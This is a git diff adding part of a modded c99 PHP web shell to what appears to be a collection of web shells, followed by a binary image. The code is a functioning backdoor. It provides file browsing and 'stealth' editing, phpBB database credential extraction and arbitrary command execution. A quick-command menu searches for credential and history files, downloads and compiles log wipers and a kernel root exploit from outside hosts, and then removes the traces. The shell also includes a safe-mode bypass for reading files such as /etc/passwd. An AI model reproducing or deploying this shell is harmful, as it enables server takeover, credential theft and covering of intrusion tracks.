(".htmlspecialchars($d.$f).")!</b></center>";} + else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} + } + else + { + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("[hex]","info"), + array("[html]","html"), + array("[txt]","txt"), + array("[Code]","code"), + array("[Session]","phpsess"), + array("[exe]","exe"), + array("[SDB]","sdb"), + array("[gif]","img"), + array("[ini]","ini"), + array("[download]","download"), + array("[rtf]","notepad"), + array("[change]","edit") + ); + echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;[$ext]&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; + foreach($arr as $t) + { + if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";} + elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} + else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} + echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; + } + echo "<hr size=\"1\" noshade>"; + if ($ft == "info") + { + echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d.$f)); + $gr = posix_getgrgid(filegroup($d.$f)); + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>"; + $fi = fopen($d.$f,"rb"); + if ($fi) + { + if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} + else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000<br>"; + $a1 = ""; + $a2 = ""; + for ($i=0; $i<strlen($str); $i++) + { + $a1 .= sprintf("%02X",ord($str[$i]))." "; + switch (ord($str[$i])) + { + case 0: $a2 .= "<font>0</font>"; break; + case 32: + case 10: + case 13: $a2 .= "&nbsp;"; break; + default: $a2 .= htmlspecialchars($str[$i]); + } + $n++; + if ($n == $hexdump_rows) + { + $n = 0; + if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} + $a1 .= "<br>"; + $a2 .= "<br>"; + } + } + //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";} + echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>"; + } + $encoded = ""; + if ($base64 == 1) + { + echo "<b>Base64 Encode</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) + { + echo "<b>Base64 Encode + Chunk</b><br>"; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) + { + echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) + { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "<b>Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "</b><br>"; + } + if (!empty($encoded)) + { + echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; + } + echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> +<P>"; + } + elseif ($ft == "html") + { + if ($white) {@ob_clean();} + echo $r; + if ($white) {c99shexit();} + } + elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} + elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";} + elseif ($ft == "phpsess") + { + echo "<pre>"; + $v = explode("|",$r); + echo $v[0]."<br>"; + var_dump(unserialize($v[1])); + echo "</pre>"; + } + elseif ($ft == "exe") + { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>"; + } + elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} + elseif ($ft == "code") + { + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) + { + $arr = explode("\n",$r); + if (count($arr == 18)) + { + include($d.$f); + echo "<b>phpBB configuration is detected in this file!<br>"; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";} + echo "Parameters for manual connect:<br>"; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} + echo "</b><hr size=\"1\" noshade>"; + } + } + echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {c99shexit();} + echo "</div>"; + } + elseif ($ft == "download") + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") + { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") + { + $inf = getimagesize($d.$f); + if (!$white) + { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "<center><b>Size:</b>&nbsp;"; + $sizes = array("100","50","20"); + foreach ($sizes as $v) + { + echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; + if ($imgsize != $v ) {echo $v;} + else {echo "<u>".$v."</u>";} + echo "</a>&nbsp;&nbsp;&nbsp;"; + } + echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; + } + else + { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") + { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "<b>Can't write to file!</b>";} + else + { + echo "<b>Saved!</b>"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; + } + elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} + else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} + } +} +} +else +{ + @ob_clean(); + //For simple size- and speed-optimization. + $imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") + ); + if (!$getall) + { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); + } + else + { + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} + natsort($images); + $k = array_keys($images); + echo "<center>"; + foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} + echo "</center>"; + } + exit; +} +?> +</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr><td width="100%" height="1" valign="top"><center><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><br/><b>Local Command:</b> <input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center"><br/> + <b> Quick Commands </b></div> + <form action="<?php echo $surl; ?>"> + <div align="center"> + <input type=hidden name=act value="cmd"> + <input type=hidden name="d" value="<?php echo $dispd; ?>"> + <SELECT NAME="cmd"> + <OPTION VALUE="#"> [File Manipulation] + <OPTION VALUE=""> + <OPTION VALUE="lsattr -va">List file attributes on a Linux second extended file system + <OPTION VALUE="find / -type f -perm -04000 -ls">Find suid files + <OPTION VALUE="find . -type f -perm -04000 -ls">Find suid files in current directory + <OPTION VALUE="find / -type f -perm -02000 -ls">Find sgid files + <OPTION VALUE="find . -type f -perm -02000 -ls">Find sgid files in current directory + <OPTION VALUE="ls -lia">List you current directory's files, folders, & permissions + <OPTION VALUE="find / -type f -name config.inc.php">Find config.inc.php files + <OPTION VALUE="find . -type f -name config.inc.php">Find config.inc.php files in current directory + <OPTION VALUE="find / -type f -name "config*">Find config* files + <OPTION VALUE="find . -type f -name "config*">Find config* files in current directory + <OPTION VALUE="find / -type f -perm -2 -ls">Find all writable files + <OPTION VALUE="find . -type f -perm -2 -ls">Find all writable files in current directory + <OPTION VALUE="find / -perm -2 -ls">Find all writable directories and files + <OPTION VALUE="find . -perm -2 -ls">Find all writable directories and files in current directory + <OPTION VALUE="find / -type f -name service.pwd">Find all service.pwd files + <OPTION VALUE="find . -type f -name service.pwd">Find service.pwd files in current directory + <OPTION VALUE="find / -type f -name .htpasswd">Find all .htpasswd files + <OPTION VALUE="find . -type f -name .htpasswd">Find .htpasswd files in current directory + <OPTION VALUE="find / -type f -name .bash_history">Find all .bash_history files + <OPTION VALUE="find . -type f -name .bash_history">Find .bash_history files in current directory + <OPTION VALUE="find / -type f -name .mysql_history">Find all .mysql_history files + <OPTION VALUE="find . -type f -name .mysql_history">Find .mysql_history files in current directory + <OPTION VALUE="find / -type f -name .fetchmailrc">Find all .fetchmailrc files + <OPTION VALUE="find . -type f -name .fetchmailrc">Find .fetchmailrc files in current directory + <OPTION VALUE="cat /var/cpanel/accounting.log">Get cpanel logs + <OPTION VALUE=""> + <OPTION VALUE="#"> [Directory Malipulation] + <OPTION VALUE=""> + <OPTION VALUE="pwd">List your current directory + <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Is /etc/ writable? + <OPTION VALUE="find / -type d -perm -2 -ls">Find all writable directories +<OPTION VALUE="find . -type d -perm -2 -ls">Find all writable directories in current directory +<OPTION VALUE="find / -type d -perm -2 -ls">Find all writable directories +<OPTION VALUE="find . -type d -perm -2 -ls">Find all writable directories in current directory +<OPTION VALUE=""> +<OPTION VALUE="#"> [Miscellaneous Commands] +<OPTION VALUE=""> + <OPTION VALUE="tar -cvf NEWTAR!!.tar -c <?php passthru('pwd'); ?>">Tar your current directory. (Only works if the directory is writable) + <OPTION VALUE="uname -a">Kernel version + <OPTION VALUE="w">Logged in users + <OPTION VALUE="lastlog">Last users to connect + <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins + <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">Users without passwords + <OPTION VALUE="cat /proc/version /proc/cpuinfo">CpuInfo + <OPTION VALUE="netstat -atup | grep IST">Open ports + <OPTION VALUE=""> + <OPTION VALUE="#"> [Application Verification] + <OPTION VALUE=""> + <OPTION VALUE="which wget curl w3m lynx">Check For Downloaders (WGET, et cetera) + <OPTION VALUE="locate gcc">Check For GCC + <OPTION VALUE=""> + <OPTION VALUE="#"> [Log Cleaners] + <OPTION VALUE=""> + <OPTION VALUE="wget http://packetstormsecurity.org/UNIX/penetration/log-wipers/logcleaner-0.3.c">Wipelogs (Part 1)(Zap3) + <OPTION VALUE="gcc logcleaner-0.3.c -o logcleaner-0.3">Wipelogs (Part 2)(Zap3) + <OPTION VALUE="./logcleaner-0.3 <? echo $_SERVER["REMOTE_ADDR"]; ?>">Wipelogs (Part 3)(Zap3) + <OPTION VALUE="Gone!<? if($_REQUEST['cmd']=="Gone!") { if (file_exists("logcleaner-0.3.c")) { unlink("logcleaner-0.3.c"); } if (file_exists("logcleaner-0.3")) { unlink("logcleaner-0.3"); } } ?>">Remove All Zap3 Traces + <OPTION VALUE=""> + <OPTION VALUE="wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/vanish.c">Wipelogs (Part 1)(Vanish) + <OPTION VALUE="gcc vanish.c -o vanish">Wipelogs (Part 2)(Vanish) + <OPTION VALUE="./vanish <? echo exec('whoami'); ?> <? echo $_SERVER["REMOTE_ADDR"]; ?> <? echo gethostbyname($_SERVER["HTTP_HOST"]); ?>">Wipelogs (Part 3)(Vanish) + <OPTION VALUE="Gone!!<? if($_REQUEST['cmd']=="Gone!!") { if (file_exists("vanish.c")) { unlink("vanish.c"); } if (file_exists("vanish")) { unlink("vanish"); } } ?>">Remove All Vanish Traces + <OPTION VALUE=""> + <OPTION VALUE="#"> [Root Exploits] + <OPTION VALUE=""> + <OPTION VALUE="wget http://www.synsta.templatez.org/1.txt">Linux Kernel 2.6.13 - 2.6.17.4 Local Root Exploit (Part 1) + <OPTION VALUE="mv 1.txt exploit.c">Linux Kernel 2.6.13 - 2.6.17.4 Local Root Exploit (Part 2) + <OPTION VALUE="gcc exploit.c -o exploit">Linux Kernel 2.6.13 - 2.6.17.4 Local Root Exploit (Part 3) + <OPTION VALUE="./exploit">Linux Kernel 2.6.13 - 2.6.17.4 Local Root Exploit (Part 4) + <OPTION VALUE="Gone!!!<? if($_REQUEST['cmd']=="Gone!!!") { if (file_exists("exploit.c")) { unlink("exploit.c"); } if (file_exists("1.txt")) { unlink("1.txt"); } if (file_exists("exploit")) { unlink("exploit"); } } ?>">Remove All Exploit Traces + </SELECT> + + <input type=hidden name="cmd_txt" value="1"> + &nbsp; + <input type=submit name=submit value="Execute"></div> + </form> + </td> + <td width="50%" height="83" valign="top"><center> + <center><br/><b> Kernel Information </b> +<form action=http://google.com/search name=f><input type=hidden name=client value="firefox-a"><input type=hidden name=rls value="org.mozilla:en-US:official_s"><input type=hidden name=hl value=en><input id=sf maxLength=256 name=q value="<?php echo wordwrap(php_uname()); ?>" size=80> +&nbsp; +<input type=submit value="Search" name=btnG></form> +</center> + </td> +</tr></TABLE> +<br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center"><strong>PHP Safe-Mode Bypass (Read Files) </strong></div> + <br> + <form action="<?php echo $surl; ?>" method="post"> + <div align="center"> + File: <input type="text" name="file"> <input type="submit" value="Read File"><br><br> eg: /etc/passwd<br> + <?php + function rsg_read() + { + $test=""; + $temp=tempnam($test, "cx"); + $file=$_REQUEST['file']; + $get=htmlspecialchars($file); + echo "</br>Trying To Get File <font color=#000099><b>$get</b></font><br>"; + if(copy("compress.zlib://".$file, $temp)){ + $fichier = fopen($temp, "r"); + $action = fread($fichier, filesize($temp)); + fclose($fichier); + $source=htmlspecialchars($action); + + + echo "<div class=\"shell\"></br><b>Reading $get:</b><br><br><textarea rows=10 cols=50>$source</textarea><br>"; + unlink($temp); + } else { + echo("</br><FONT COLOR=\"RED\"><CENTER>Sorry... File + <B>".htmlspecialchars($file)."</B> dosen't exists or you don't have + access.</CENTER></FONT>"); + } + echo "</div>"; + } + + if(isset($_REQUEST['file'])) +{ +rsg_read(); +} + + ?> + + <? + + function rsg_glob() +{ +$chemin=$_REQUEST['directory']; +$files = glob("$chemin*"); +echo "</br>Trying To List Folder <font color=#000099><b>$chemin</b></font><br>"; +foreach ($files as $filename) { + echo "<pre>"; + echo "$filename\n"; + echo "</pre>"; +} +} + +if(isset($_REQUEST['directory'])) +{ +rsg_glob(); +} + +?> + + <br> + </div> + </form> + </td> + <td width="50%" height="83" valign="top"><center> + <center> + <strong>PHP Safe-Mode Bypass (List Directories)</strong>: + <form action="<?php echo $surl; ?>" method="post"> + <div align="center"><br> + Dir: <input type="text" name="directory"> <input type="submit" value="List Directory"><br><br> eg: /etc/<br> + + </form></center> + </td> +</tr></TABLE> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr> + <td width="50%" height="1" valign="top"><center> + <b>Search</b> + <form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1" checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td> + <td width="50%" height="1" valign="top"><center> + <b>Upload</b> + <form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td> +</tr> +</table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center> + <b><strong>Create Directory + </strong> + <p><form action="<?php echo $PHP_SELF; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center> + <strong>Create File </strong> + <form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table> + +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center> + <b>Enter Directory </b> + <form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center> + <b>Access File</b> + <form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table> +</td> +</tr> +</TABLE> +<br><TABLE width="100%" height=1 border=1 cellPadding=0 cellSpacing=0 borderColorLight=#c0c0c0 borderColorDark=#666666 bgColor=#333333 style="BORDER-COLLAPSE: collapse"> + <tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c99shell modded by <a href=http://w4ck1ng.com class="style1">w4ck1ng</a>. | <? echo("$shver"); ?> | Page generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</p></td></tr></table> +<br/></body></html><?php chdir($lastdir); c99shexit(); ?> + diff --git a/php/PHPshell/c99_w4cking/c99_w4cking2.jpg b/php/PHPshell/c99_w4cking/c99_w4cking2.jpg new file mode 100644 index 0000000000000000000000000000000000000000..e1d451a0397ea48b9c5afa49ae779e58348656d6 GIT binary patch literal 73209 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 